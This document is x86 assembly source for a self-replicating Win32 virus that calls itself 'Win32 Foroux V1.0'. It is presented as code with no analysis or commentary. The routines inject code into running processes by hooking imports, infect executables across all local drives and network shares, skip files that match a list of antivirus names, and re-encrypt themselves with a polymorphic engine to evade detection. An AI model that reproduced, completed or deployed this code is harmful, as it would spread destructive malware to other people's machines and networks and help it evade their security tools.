lea esi,[ebp+inject_code-inf_proc_ip]
push esi
call blk_decrypt
pushad
mov ecx,[ebp+addrMapViewOfFile-inf_proc_ip]
mov [ebp+inject_code_mapviewoffile-inf_proc_ip],ecx
mov ecx,[ebp+addrOpenFileMappingA-inf_proc_ip]
mov [ebp+inject_code_openfilemapping-inf_proc_ip],ecx
call inf_proc_0
db FMAP_NAME
inf_proc_0:
pop edi
push edi
push large 0
push large FILE_MAP_WRITE
call ecx
or eax,eax
jz short inf_proc_not_mapped
push eax
call [ebp+addrCloseHandle-inf_proc_ip]
jmp short inf_proc_mapped
inf_proc_not_mapped:
mov eax,vir_mem_size
mov ecx,eax
SUBCALL create_mem_map,inf_proc_ip
jz short inf_proc_mapped
cld
mov edi,eax
xor eax,eax
stosd
mov eax,vir_size
stosd
lea esi,[ebp+_start-inf_proc_ip]
rep movsb
mov [ebp+quick_sleep-inf_proc_ip],esi ;Have quick sleep
inf_proc_mapped:
popad
mov [ebp+inf_proc_esp-inf_proc_ip],esp
SUBCALL virtual_protect,inf_proc_ip
jz inf_proc_ret
;edi ;Process handle
;ebx Process base address
;eax vbuffer address
push edi
push ebx
SUBCALL read_proc_mem,inf_proc_ip
cmp byte ptr [eax+MEM_INF_POS],MEM_INF_SIGN ;Has been infected?
inf_proc_seh_restore_jmp:
jz inf_proc_seh_restore
mov byte ptr [eax+MEM_INF_POS],MEM_INF_SIGN
mov ecx,INFPROC_MAP_SIZE
SUBCALL write_proc_mem,inf_proc_ip ;Write import table
mov ebx,eax
SUBCALL check_pe,inf_proc_ip
jz short inf_proc_seh_restore_jmp
;eax->PE base
mov edi,[eax+28h]
SUBCALL get_section_of_rva,inf_proc_ip
or ecx,ecx
jz short inf_proc_seh_restore_jmp
mov edi,[edx+4]
mov [ebp+inf_proc_rva-inf_proc_ip],edi
mov edi,[edx]
mov ecx,[edx+8]
cmp edi,ecx
jna short inf_proc_3
xchg ecx,edi
inf_proc_3:
;Now edi is the small size,ecx is the big one
mov [ebp+inf_proc_code_size-inf_proc_ip],edi
sub ecx,edx
cmp ecx,inject_code_size
jc inf_proc_seh_restore
mov ecx,[eax+80h] ;Import directory
or ecx,ecx
jz short inf_proc_seh_restore_jmp
pop ebx
pop edi
push ebx
add ebx,ecx
push ecx
SUBCALL read_proc_mem,inf_proc_ip
push edx
SUBCALL get_rand,inf_proc_ip
movzx ecx,dl
and cl,3fh
pop edx
pop esi
mov ebx,eax
sub ebx,5*4
push ecx
inf_proc_101:
add ebx,5*4
mov ecx,[ebx+3*4]
jecxz inf_proc_102
push eax
sub ecx,esi
cmp ecx,INFPROC_MAP_SIZE
jnc short inf_proc_102
mov eax,[eax+ecx]
call eax_to_lowcase
cmp eax,'resu' ;user
pop eax
jnz short inf_proc_101
mov dword ptr [esp],1000h
mov eax,ebx
inf_proc_102:
pop ecx
mov ebx,[eax+4*4]
add ebx,[esp]
push ebx
SUBCALL virtual_protect,inf_proc_ip
jz inf_proc_seh_restore
SUBCALL read_proc_mem,inf_proc_ip ;read import table
mov esi,eax
cld
inf_proc_1:
lodsd
cmp eax,[ebp+addrDispatchMessageA-inf_proc_ip] ;First find DispatchMessageA/W
jz short inf_proc_1_5
cmp eax,[ebp+addrDispatchMessageW-inf_proc_ip] ;First find DispatchMessageA/W
jz short inf_proc_1_5
or eax,eax
loopnz inf_proc_1
inf_proc_1_5:
sub esi,4
or eax,eax
jnz short inf_proc_2
sub esi,4
inf_proc_2:
mov eax,[esi]
mov [ebp+inject_code_raw_api-inf_proc_ip],eax
mov ebx,[esp+4]
add ebx,12345678h
inf_proc_rva equ $-4
add ebx,12345678h
inf_proc_code_size equ $-4
mov [esi],ebx
SUBCALL virtual_protect,inf_proc_ip
jz short inf_proc_seh_restore
lea eax,[ebp+inject_code-inf_proc_ip]
push large inject_code_size
pop ecx
SUBCALL write_proc_mem,inf_proc_ip ;Write inject code
jz short inf_proc_seh_restore
pop ebx
lea eax,[ebp+vbuffer-inf_proc_ip]
mov ecx,INFPROC_MAP_SIZE
SUBCALL write_proc_mem,inf_proc_ip ;Write import table
inf_proc_ret:
inf_proc_seh_restore:
mov esp,12345678h
inf_proc_esp equ $-4
SUBCALL get_rand,inf_proc_ip
pop esi
mov [esi-4],dx
call blk_encrypt
POP DWord Ptr FS:[0] ; restore except chain
pop esi
pop esi
popad
retn
inf_proc_seh:
call inf_proc_seh_ip
inf_proc_seh_ip:
pop eax
lea eax,[eax-(inf_proc_seh_ip-inf_proc_seh_restore)]
PUSH eax
MOV EAX,[ESP + 00Ch+4] ; context
POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc
XOR EAX,EAX ; 0 = ExceptionContinueExecution
RET
inf_proc_end:
CALLHEADER enum_proc
enum_proc:
pushad
call enum_proc_ip
enum_proc_ip:
pop ebp
mov ecx,[ebp+addrCreateToolhelp32Snapshot-enum_proc_ip]
jecxz short enum_proc_0
SUBCALL snap_proc,enum_proc_ip
jmp short enum_proc_ret
enum_proc_0:
xor eax,eax
mov ecx,20000
enum_proc_1:
add eax,4
SUBCALL into_proc,snap_proc_ip
loop enum_proc_1
enum_proc_ret:
popad
retn
enum_proc_end:
;in--ebp->enum_proc_ip
CALLHEADER snap_proc
snap_proc:
snap_proc_ip equ enum_proc_ip
pushad
push large 0
push large 2 ;TH32CS_SNAPPROCESS
call [ebp+addrCreateToolhelp32Snapshot-snap_proc_ip]
or eax,eax
jz snap_proc_ret
push eax
lea edi,[ebp+snapbuf-snap_proc_ip]
mov dword ptr [edi],296 ;size
push edi
push eax
call [ebp+addrProcess32First-snap_proc_ip]
snap_proc_1:
or eax,eax
jz snap_proc_2
mov ecx,[ebp+is9x-snap_proc_ip]
jecxz snap_proc_3
push edi
lea ebx,[edi+9*4] ;->szExeFile
call snap_proc_4
db '\explorer',0
snap_proc_4:
pop edi
SUBCALL str_instr,snap_proc_ip
pop edi
jnz short snap_proc_5 ;If is Win9X,only explorer to infect
snap_proc_3:
mov eax,[edi+2*4] ;th32ProcessID
SUBCALL into_proc,snap_proc_ip
snap_proc_5:
pop eax
push eax
push edi
push eax
call [ebp+addrProcess32Next-snap_proc_ip]
jmp snap_proc_1
snap_proc_2:
call [ebp+addrCloseHandle-snap_proc_ip]
snap_proc_ret:
popad
retn
snap_proc_end:
;in--ebp->enum_proc_ip,eax=PID
CALLHEADER into_proc
into_proc:
into_proc_ip equ enum_proc_ip
pushad
push eax
push large 0
push large 0fffh
call [ebp+addrOpenProcess-into_proc_ip]
or eax,eax
jz short into_proc_2
push eax
xchg eax,edi
mov ebx,400000h
SUBCALL inf_proc,into_proc_ip
call [ebp+addrCloseHandle-enum_proc_ip]
into_proc_2:
popad
retn
into_proc_end:
;in--ebx->image base
;out--ZF not set,is valid PE,ZF set,invalid,eax->PE base
CALLHEADER check_pe
check_pe:
push ecx
xor ecx,ecx
cmp word ptr [ebx],'ZM'
jnz short check_pe_ret
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jnz short check_pe_ret
test byte ptr [eax+16h+1],20h ;Is a DLL?
jnz short check_pe_ret
push ebx
mov bl,[eax+5ch] ;Subsystem
and bl,0feh
cmp bl,2
pop ebx
jnz short check_pe_ret
inc ecx
check_pe_ret:
or ecx,ecx
pop ecx
retn
check_pe_end:
;Get the section of a RVA
;in--eax=PE base,edi=RVA to find
;out--edx->section header.VirtualSize,ecx=0 means not found
;if not found,edx=>last section header.VirtualSize
CALLHEADER get_section_of_rva
get_section_of_rva:
push ecx
movzx edx,word ptr [eax+14h]
lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize
movzx ecx,word ptr [eax+6]
inc ecx
get_section_of_rva_1:
dec ecx
jecxz get_section_of_rva_2
add edx,28h ;->VirtualSize
mov esi,[edx+4]; esi=VirtualAddress
cmp edi,esi ;RVA<VirtualAddress?
jc short get_section_of_rva_1
add esi,[edx]; esi=VirtualAddress+VirtualSize
cmp esi,edi;VirtualAddress+VirtualSize<RVA
jna short get_section_of_rva_1
get_section_of_rva_2:
or ecx,ecx
pop ecx
retn
get_section_of_rva_end:
;Copy and encrypt vir body to infbuffer
CALLHEADER prepare_buffer
prepare_buffer:
pushad
call pre_buf_ip
pre_buf_ip:
pop ebp
SUBCALL poly_start,pre_buf_ip
SUBCALL poly_callsub,pre_buf_ip
SUBCALL poly_blk_encrypt,pre_buf_ip
SUBCALL poly_blk_encrypt_poly,pre_buf_ip
lea esi,[ebp+_start-pre_buf_ip]
lea edi,[ebp+infbuffer-pre_buf_ip]
mov ecx,vir_size
cld
push edi
rep movsb
SUBCALL get_rand,pre_buf_ip
pop edi
lea esi,[edi+prepare_buffer-_start]
mov word ptr [esi-4],dx
call blk_encrypt
xchg dh,dl
lea esi,[edi+main_thread-_start]
mov word ptr [esi-4],dx
call blk_encrypt
popad
retn
prepare_buffer_end:
CALLHEADER poly_callsub
poly_callsub:
pushad
call poly_callsub_ip
poly_callsub_ip:
pop ebp
SUBCALL get_rand,poly_callsub_ip
lea edi,[ebp+_callsub-poly_callsub_ip]
mov dword ptr [edi],000000e8h+(blk_encrypt-call_sub_1)*100h
mov dword ptr [edi+4],0fc76ff00h
test dl,1
jz short poly_callsub_1
mov dword ptr [edi],0e8fc76ffh
mov dword ptr [edi+4],00000000h+(blk_encrypt-call_sub_1-3)
poly_callsub_1:
mov dword ptr [edi+8],0fc46c766h
mov dword ptr [edi+8+4],0ff560000h
test dl,2
jz short poly_callsub_2
mov dword ptr [edi+8],046c76656h
mov dword ptr [edi+8+4],0ff0000fch
poly_callsub_2:
popad
retn
poly_callsub_end:
;in--edx=random
CALLHEADER poly_blk_encrypt
poly_blk_encrypt:
pushad
call poly_blk_encrypt_ip
poly_blk_encrypt_ip:
pop edi
add edi,blk_encrypt-poly_blk_encrypt_ip
test dl,1
jz short poly_blk_encrypt_1
poly_blk_encrypt_@1 equ $
mov bl,[edi]
xchg bl,[edi+1]
xchg bl,[edi]
poly_blk_encrypt_1:
poly_blk_encrypt_@2 equ $+1
mov bx,5f56h
mov word ptr [edi+2],bx
test dl,2
jz short poly_blk_encrypt_2
poly_blk_encrypt_@3 equ $+1
mov bx,0fe8bh
mov word ptr [edi+2],bx
poly_blk_encrypt_2:
mov dword ptr [edi+blk_encrypt_@1],0f59006ah
test dl,4
jz short poly_blk_encrypt_3
mov dword ptr [edi+blk_encrypt_@1],0f90c933h
poly_blk_encrypt_3:
poly_blk_encrypt_4:
popad
retn
poly_blk_encrypt_end:
;in--edi->offset poly_blk_encrypt
CALLHEADER poly_blk_encrypt_poly
poly_blk_encrypt_poly:
pushad
call poly_blk_encrypt_poly_ip
poly_blk_encrypt_poly_ip:
pop ebp
lea edi,[ebp+poly_blk_encrypt-poly_blk_encrypt_poly_ip]
mov esi,edi
call blk_decrypt
SUBCALL get_rand,poly_blk_encrypt_poly_ip
and dl,3h ;only take four common reg,eax,ebx,ecx,edx
mov al,dl
shl al,3
and byte ptr [edi+poly_blk_encrypt_@1+1-poly_blk_encrypt],0c7h
or [edi+poly_blk_encrypt_@1+1-poly_blk_encrypt],al
and byte ptr [edi+poly_blk_encrypt_@1+3-poly_blk_encrypt],0c7h
or [edi+poly_blk_encrypt_@1+3-poly_blk_encrypt],al
and byte ptr [edi+poly_blk_encrypt_@1+6-poly_blk_encrypt],0c7h
or [edi+poly_blk_encrypt_@1+6-poly_blk_encrypt],al
mov al,dh
and al,3
and byte ptr [edi+poly_blk_encrypt_@2-poly_blk_encrypt],0f8h
or [edi+poly_blk_encrypt_@2-poly_blk_encrypt],al
shl al,3
and byte ptr [edi+poly_blk_encrypt_@2+5-poly_blk_encrypt],0c7h
or [edi+poly_blk_encrypt_@2+5-poly_blk_encrypt],al
SUBCALL get_rand,poly_blk_encrypt_poly_ip
mov al,dh
and al,3
and byte ptr [edi+poly_blk_encrypt_@3-poly_blk_encrypt],0f8h
or [edi+poly_blk_encrypt_@3-poly_blk_encrypt],al
shl al,3
and byte ptr [edi+poly_blk_encrypt_@3+5-poly_blk_encrypt],0c7h
or [edi+poly_blk_encrypt_@3+5-poly_blk_encrypt],al
mov esi,edi
call blk_encrypt
popad
retn
poly_blk_encrypt_poly_end:
CALLHEADER poly_start
poly_start:
pushad
call poly_start_ip
poly_start_ip:
pop ebp
SUBCALL get_rand,poly_start_ip
test dl,1
jz short poly_start_1
mov eax,[ebp+_start_@1-poly_start_ip]
xchg eax,[ebp+_start_@2-poly_start_ip]
xchg eax,[ebp+_start_@1-poly_start_ip]
poly_start_1:
lea esi,[ebp+_start_@3+1-poly_start_ip]
and dl,3
and byte ptr [esi+2],0f8h
or [esi+2],dl
shl dl,3
and byte ptr [esi],0c7h
or [esi],dl
and dh,018h
add esi,main_enter-_start_@3 ;esi->main_enter+1
and byte ptr [esi],0c7h
or [esi],dh
add esi,3
and byte ptr [esi],0c7h
or [esi],dh
rol edx,8
dec esi ;esi->main_enter
mov byte ptr [esi],89h
test dl,1
jz short poly_start_2
mov byte ptr [esi],87h
poly_start_2:
popad
retn
poly_start_end:
;*******************************infproc.asm end*****************************
;*******************************mainthrd.asm*****************************
;include mainthrd.asm
CALLHEADER main_thread
main_thread:
call main_thread_ip
main_thread_ip:
pop ebp
if DEBUG
OUTSTRING 'I go in'
endif
SUBCALL get_extra_proc,main_thread_ip
SUBCALL prepare_buffer,main_thread_ip
call [ebp+addrGetVersion-main_thread_ip]
shr eax,31 ;MSB=1 means is Win9X
mov [ebp+is9x-main_thread_ip],eax
sub esp,MAX_DIR_SIZE
cld
xor eax,eax
mov [ebp+goto_enum_proc_pretime-main_thread_ip],eax
mov [ebp+quick_sleep-main_thread_ip],eax
call [ebp+addrGetTickCount-main_thread_ip]
mov [ebp+have_a_sleep_pretime-main_thread_ip],eax
call goto_enum_proc
;Infect module path
mov edi,esp
push large MAX_DIR_SIZE
push edi
push large 0
call [ebp+addrGetModuleFileNameA-main_thread_ip]
call find_str_tail
std
mov cl,0ffh
mov al,'\'
repnz scasb
cld
mov byte ptr [edi+1],0
call enum_path
;Infect all driver
infect_all_driver:
SUBCALL get_rand,main_thread_ip
and dl,3
add dl,'c' ;first try C:~F:
mov [esp],dl
mov word ptr [esp+1],':'
push large ((INFECT_LASTDISK-INFECT_FIRSTDISK) and 0ffh)+1
pop ecx
infect_disk_loop:
mov edi,ecx
push esp
call [ebp+addrGetDriveTypeA-main_thread_ip]
cmp al,3
jc short next_disk
cmp al,4
ja short next_disk
call enum_path
next_disk:
mov al,[esp]
inc al
cmp al,INFECT_LASTDISK and 0ffh
jbe short next_disk_1
mov al,INFECT_FIRSTDISK and 0ffh
next_disk_1:
mov [esp],al
mov ecx,edi
loop infect_disk_loop
;Infect through net
infect_net:
xor eax,eax
call enum_net
;Sleep 20 minutes
push large 60
pop edi
main_thread_wait:
call goto_enum_proc
push large 20*1000
call [ebp+addrSleep-main_thread_ip]
dec edi
jnz short main_thread_wait
jmp short infect_all_driver
db 'Win32 Foroux V1.0'
;stack map
;esp->find file handle
;esp+4->WIN32_FIND_DATA
;esp+4+8*4+size WIN32_FIND_DATA->return address
;esp+4+8*4+size WIN32_FIND_DATA+4->find path
enum_path:
enum_path_ip equ main_thread_ip
pushad
lea esi,[esp+4+4*8]
call copy_path
call find_str_tail
if DEBUG
mov eax,'*.1\'
else
mov eax,'*.*\'
endif
stosd
xor eax,eax
stosd
sub esp,size WIN32_FIND_DATA
lea esi,[ebp+pathname_buf-enum_path_ip]
push esp
push esi
call [ebp+addrFindFirstFileA-enum_path_ip]
inc eax
jz enum_path_ok
dec eax
push eax ;handle of find file
found_one_file:
test dword ptr [esp+4+0],FILE_ATTRIBUTE_OFFLINE or FILE_ATTRIBUTE_REPARSE_POINT or FILE_ATTRIBUTE_SPARSE_FILE or FILE_ATTRIBUTE_TEMPORARY ;dwFileAttributes
jnz enum_next_file_jmp1
lea esi,[esp+4+size WIN32_FIND_DATA+4+4*8]
call copy_path
push edi
call find_str_tail
mov ecx,MAX_PATH
mov al,'\'
stosb
lea esi,[esp+4+4+2ch] ;cFileName
mov eax,[esi]
rep movsb
pop esi
;Check whether the file name is '.' or '..'
not eax
test eax,00002e2eh ;is '..'?
jz short enum_next_file_jmpz
test ax,002eh ;is '.'?
jz short enum_next_file_jmp1
test dword ptr [esp+4+0],FILE_ATTRIBUTE_DIRECTORY
jz short enum_do_fop
;Avoid go into Temporary Internet Files directory,
;because there are too many html files which can't be infected,we must save time
call enum_path_1
db 'rary Inter',0
enum_path_1:
pop edi
mov ebx,esi
push esi ;ESI must be protected because SUBCALL will destroy it.
SUBCALL str_instr,enum_path_ip
pop esi
jz short enum_next_file_jmpz
;Don't infect files in dllcache
push esi
SUBCALL is_in_dllcache,enum_path_ip
pop esi
enum_next_file_jmpz:
jz short enum_next_file
mov ecx,MAX_DIR_SIZE
sub esp,ecx
mov edi,esp
rep movsb
call enum_path ;recursion infect path
add esp,MAX_DIR_SIZE ;clear stack frame
enum_next_file_jmp1:
jmp short enum_next_file
enum_do_fop:
;Check AV file
not eax
call eax_to_lowcase
lea edi,[ebp+av_name-enum_path_ip]
push large av_name_num
pop ecx
repnz scasd
jz short enum_next_file_jmp1
and eax,00ffffffh
cmp eax,'0pva' and 00ffffffh ;avp
jz short enum_next_file_jmp1
cmp eax,'0van' and 00ffffffh ;nav
jz short enum_next_file_jmp1
mov edi,esi
;For quick and quiet infection,I'd better check the file extension
;But for infect widely,I have 1/4 chance to infect any file without check its extension.
call find_str_tail
mov eax,[edi-4]
call eax_to_lowcase
cmp eax,'exe.'
jz short enum_do_fop_1
cmp eax,'rcs.'
jz short enum_do_fop_1
test byte ptr [ebp+callsub_seed-enum_path_ip],3
enum_next_file_jmpnz:
jnz short enum_next_file
enum_do_fop_1:
mov edi,esi
SUBCALL file_operate,enum_path_ip
enum_next_file:
call have_a_sleep
lea eax,[esp+4] ;WIN32_FIND_DATA
mov ecx,[esp] ;find file handle
push eax
push ecx
call [ebp+addrFindNextFileA-enum_path_ip]
or eax,eax
jnz found_one_file
infect_one_path_close:
;Now esp->find file handle
call [ebp+addrFindClose-enum_path_ip]
enum_path_ok:
add esp,size WIN32_FIND_DATA ;clear stack frame
popad
retn
enum_path_end:
av_name equ this dword
dd 'pva_' ;_avp
dd 'rela' ;aler
dd 'noma' ;amon
dd 'itna' ;anti
dd '3don' ;nod3
dd 'sspn' ;npss
dd 'sern' ;nres
dd 'hcsn' ;nsch
dd 's23n' ;n32s
dd 'iwva' ;avwi
dd 'nacs' ;scan
dd 'ts-f' ;f-st
dd 'rp-f' ;f-pr
av_name_num equ ($-av_name)/4
enum_net:
enum_net_ip equ main_thread_ip
pushad
mov ebx,4*3+MAX_NETRESOURCE_NUM*8*4-4
mov ecx,1000h
probpage_loop:
sub ebx,ecx
jb short probpage_end
sub esp,ecx
push ecx
pop ecx
jmp short probpage_loop
probpage_end:
add ebx,ecx
sub esp,ebx
;Stack map
;esp->enumeration handle
;esp+4->number of entries=-1
;esp+8->buffer size=MAX_NETRESOURCE_NUM*8*4
;esp+0ch->buffer
push large 0
mov ecx,[ebp+addrWNetOpenEnumA-enum_net_ip]
jecxz enum_net_ret_jmp
push esp
push eax
push large RESOURCEUSAGE_ALL
push large RESOURCETYPE_DISK
push large RESOURCE_GLOBALNET
call ecx
or eax,eax
jnz short enum_net_ret_jmpnz
mov ecx,[ebp+addrWNetEnumResourceA-enum_net_ip]
enum_net_ret_jmp:
jecxz enum_net_ret_jmp2
mov esi,[esp] ;esi=enumeration handle
lea edi,[esp+8] ;edi->buffer size
mov dword ptr [edi],MAX_NETRESOURCE_NUM*8*4
push edi
lea edi,[esp+0ch+4] ;edi->buffer
push edi
lea edi,[esp+4+4*2] ;edi->number of entries
dec eax
mov dword ptr [edi],eax
push edi
push esi
call ecx
or eax,eax
enum_net_ret_jmpnz:
jnz short enum_net_ret
mov ecx,[edi]
enum_net_ret_jmp2:
jecxz enum_net_ret
enum_net_loop:
lea edx,[ecx*4]
test dword ptr [esp+edx*8+0ch-8*4+4*3],RESOURCEUSAGE_CONTAINER ;dwUsage is RESOURCEUSAGE_CONTAINER?
jz short not_container ;no
lea eax,[esp+edx*8-8*4+0ch]
call enum_net ;recurse infect the container
jmp short enum_net_loop_next
not_container:
mov esi,[esp+edx*8+0ch-8*4+4*5] ;esi=lpRemoteName
or esi,esi
jz short enum_net_loop_next
mov edi,esi
call find_str_tail
mov eax,[edi-2]
call eax_to_lowcase
and eax,00ffffffh
cmp eax,'00a\' and 0000ffffh ;is '\a'?If so,maybe floppy,don't infect it
jz short enum_net_loop_next
cmp eax,'00b\' and 0000ffffh ;is '\b'?If so,maybe floppy,don't infect it
jz short enum_net_loop_next
sub esp,MAX_DIR_SIZE
mov edi,esp
;OUTSTRING3 esi,enum_net_ip
enum_net_1:
lodsb
stosb
or al,al
jnz short enum_net_1 ;copy remote name
call enum_path
add esp,MAX_DIR_SIZE
enum_net_loop_next:
loop enum_net_loop
enum_net_ret:
;esp->enumeration handle
pop eax
mov ecx,[ebp+addrWNetCloseEnum-enum_net_ip]
jecxz enum_net_ret_1
or eax,eax
jz enum_net_ret_1
push eax
call ecx
enum_net_ret_1:
add esp,4*3+MAX_NETRESOURCE_NUM*8*4-4
popad
ret
enum_net_end:
goto_enum_proc:
pushad
pushfd
call goto_enum_proc_ip
goto_enum_proc_ip:
pop ebp
;Can't infect process too frequently,if so,some program will corrupt when they start.
call [ebp+addrGetTickCount-goto_enum_proc_ip]
mov ebx,12345678h
goto_enum_proc_pretime equ $-4
mov ecx,eax
sub ecx,ebx
cmp ecx,1000*60 ;Only more than every one minute to infect process
jc short goto_enum_proc_1
mov [ebp+goto_enum_proc_pretime-goto_enum_proc_ip],eax
SUBCALL enum_proc,goto_enum_proc_ip
goto_enum_proc_1:
popfd
popad
retn
have_a_sleep:
pushad
call have_a_sleep_ip
have_a_sleep_ip:
pop ebp
mov edi,[ebp+addrGetTickCount-have_a_sleep_ip]
call edi
mov ebx,12345678h
have_a_sleep_pretime equ $-4
sub eax,ebx
mov ebx,500 ;If isn't quick sleep,continue run for 500 millisecond
push large 50 ;Sleep for 50 seconds
pop esi
mov ecx,[ebp+quick_sleep-have_a_sleep_ip]
jecxz have_a_sleep_1 ;Not quick sleep
mov ebx,3000 ;If is quick sleep,continue run for 3000 millisecond
push large 20 ;Sleep for 20 seconds
pop esi
have_a_sleep_1:
cmp eax,ebx
jc short have_a_sleep_ret
shl esi,10
push esi
call [ebp+addrSleep-have_a_sleep_ip]
call edi
mov [ebp+have_a_sleep_pretime-have_a_sleep_ip],eax
call test_quick_sleep
call goto_enum_proc
have_a_sleep_ret:
popad
retn
have_a_sleep_end:
;in--ebp->have_a_sleep_ip
test_quick_sleep:
test_qs_ip equ have_a_sleep_ip
call test_qs_1
db MUTEX_NAME
test_qs_1:
pop edi
push edi
push large 0
push large FILE_MAP_WRITE
call [ebp+addrOpenFileMappingA-test_qs_ip]
or eax,eax
jz short test_qs_2
push eax
call [ebp+addrCloseHandle-test_qs_ip]
retn
test_qs_2:
inc eax
SUBCALL create_mem_map,test_qs_ip
jz short test_qs_3
mov [ebp+quick_sleep-test_qs_ip],eax
push eax
call [ebp+addrUnmapViewOfFile-test_qs_ip]
test_qs_3:
retn
test_quick_sleep_end:
copy_path:
;in--esi->path,ebp->enum_path_ip
;on return,edi->pathname_buf
mov ecx,MAX_DIR_SIZE
lea edi,[ebp+pathname_buf-enum_path_ip]
push edi
rep movsb
pop edi
ret
find_str_tail:
;edi->string,on return,edi->0
push eax
push ecx
xor eax,eax
mov ch,0ffh
repnz scasb
dec edi
pop ecx
pop eax
ret
eax_to_lowcase:
push ecx
push large 4
pop ecx
eax_to_lowcase_0:
cmp al,'A'
jc eax_to_lowcase_1
cmp al,'Z'
ja eax_to_lowcase_1
add al,'a'-'A'
eax_to_lowcase_1:
ror eax,8
loop eax_to_lowcase_0
pop ecx
retn
main_thread_end:
;in--ebx->string,edi->sub string to find
;out--ZF set means is in string,ZF cleared means not in
CALLHEADER str_instr
str_instr:
pushad
call str_instr_ip
str_instr_ip:
pop ebp
cld
mov al,38h
mov ebp,[ebp+addrlstrcmpiA-str_instr_ip]
or ebp,ebp
jz short str_instr_ret
dec ebx
str_instr_1:
inc ebx
call str_len
mov esi,ecx ;ebx=sub string len
xchg ebx,edi
call str_len ;ecx=source string len
xchg ebx,edi
push large 38h
pop eax
cmp esi,ecx
ja short str_instr_ret
mov dl,[ebx+esi]
push edx
push ebx
mov byte ptr [ebx+esi],0
push ebx
push edi
call ebp
or eax,eax
pop ebx
pop edx
mov [ebx+esi],dl
jnz short str_instr_1
str_instr_ret:
or eax,eax
popad
retn
;in--edi->string
;out--ecx=string length
str_len:
push edi
xor al,al
xor ecx,ecx
dec ecx
repnz scasb
pop edi
not ecx
dec ecx
retn
str_len_end:
str_instr_end:
;in--ebx->full path
;out--ZF set is in,ZF cleared,not in
CALLHEADER is_in_dllcache
is_in_dllcache:
pushad
call is_in_dllcache_ip
is_in_dllcache_ip:
pop ebp
call is_in_dllcache_1
db 'tem32\dllcac',0
is_in_dllcache_1:
pop edi
SUBCALL str_instr,is_in_dllcache_ip
popad
retn
is_in_dllcache_end:
;Out--edx=random
CALLHEADER get_rand
get_rand:
pushad
call get_rand_ip
get_rand_ip:
pop ebp
call [ebp+addrGetTickCount-get_rand_ip]
mov ecx,12345678h
rand_seed equ $-4
add eax,ecx
rol ecx,1
add ecx,esp
add [ebp+rand_seed-get_rand_ip],ecx
push large 32
pop ecx
get_rand_1:
shr eax,1
jnc get_rand_2
xor eax,HASH16FACTOR
get_rand_2:
loop get_rand_1
mov [esp+5*4],eax
mov [ebp+callsub_seed-get_rand_ip],ax
popad
retn
get_rand_end:
CALLHEADER get_extra_proc
get_extra_proc:
pushad
call get_extra_proc_ip
get_extra_proc_ip:
pop ebp
lea edi,[ebp+sfc_hash_table-8-get_extra_proc_ip]
push large 1
get_extra_proc_0:
push edi
call [ebp+addrLoadLibraryA-get_extra_proc_ip]
or eax,eax
jz short get_extra_proc_1
mov ebx,eax
sub ebx,10000h
SUBCALL search_api_addr,get_extra_proc_ip
get_extra_proc_1:
pop ecx
jecxz get_extra_proc_2
dec ecx
push ecx
lea edi,[ebp+mpr_hash_table-8-get_extra_proc_ip]
jmp short get_extra_proc_0
get_extra_proc_2:
call get_extra_proc_3
db 'user32',0
get_extra_proc_3:
call [ebp+addrLoadLibraryA-get_extra_proc_ip]
or eax,eax
jz short get_extra_proc_4
mov ebx,eax
sub ebx,10000h
lea edi,[ebp+user32_hash_table-8-get_extra_proc_ip]
SUBCALL search_api_addr,get_extra_proc_ip
get_extra_proc_4:
popad
retn
get_extra_proc_end:
;*******************************mainthrd.asm end*****************************
;code and initialized data end here
vir_size equ $-_start
;Uninitialized data
ftime db 3*8 dup(0)
is9x dd 0
quick_sleep dd 0
infbuffer db vir_size+10 dup(0)
pathname_buf db MAX_DIR_SIZE*2+100 dup(0)
vbuffer db INFPROC_MAP_SIZE+100 dup(0)
snapbuf db 300 dup(0)
if DEBUG
hexstr db 16 dup(0)
endif
vir_mem_size equ $-_start
host:
mov eax,0
mov eax,vir_first_blk_size
mov ebx,vir_mem_size
mov ebp,offset _start_ip
SUBCALL prepare_buffer,_start_ip
lea edi,dummyfile
SUBCALL file_operate,_start_ip
jmp over
push large 0fffdb43dh
push large 0
push large 0fffh
call [ebp+addrOpenProcess-_start_ip]
push eax
xchg eax,edi
mov ebx,400000h
SUBCALL inf_proc,_start_ip
call [ebp+addrCloseHandle-_start_ip]
over:
push large 0
push offset cap
call nxt
if DEBUG
db 'Game over',0
else
db 'Released!!!',0
endif
nxt:
push large 0
call MessageBoxA
push large 0
call ExitProcess
end _start